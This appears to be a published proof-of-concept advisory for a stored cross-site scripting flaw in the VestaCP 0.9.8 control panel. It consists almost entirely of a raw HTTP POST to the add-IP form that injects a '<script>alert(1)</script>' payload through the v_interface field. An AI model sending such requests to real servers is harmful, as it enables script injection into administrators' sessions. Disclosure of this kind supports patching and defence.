# Title: VestaCP 0.9.8 - 'v_interface' Add IP Stored XSS # Date: 07.03.2021 # Author: Numan Türle # Vendor Homepage: https://vestacp.com # Software Link: https://myvestacp.com < 0.9.8-26-43 # Software Link: https://vestacp.com < 0.9.8-26 # Tested on: VestaCP POST /add/ip/ HTTP/1.1 Host: TARGET:8083 Connection: close Content-Length: 165 Cache-Control: max-age=0 Origin: https://TARGET:8083 Content-Type: application/x-www-form-urlencoded User-Agent: USER-AGENT Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: https://TARGET:8083/add/ip/ Accept-Encoding: gzip, deflate Accept-Language: en,tr-TR; Cookie: PHPSESSID=udiudv2k0707d6k3p3fi1n1qk0 sec-gpc: 1 token=04331c937aeb2d203889b3fb86fa75b2&ok=Add&v_ip=90.7.3.1&v_netmask=255.0.0.0&v_interface=<script>alert(1)</script>&v_shared=on&v_owner=admin&v_name=&v_nat=&ok=Add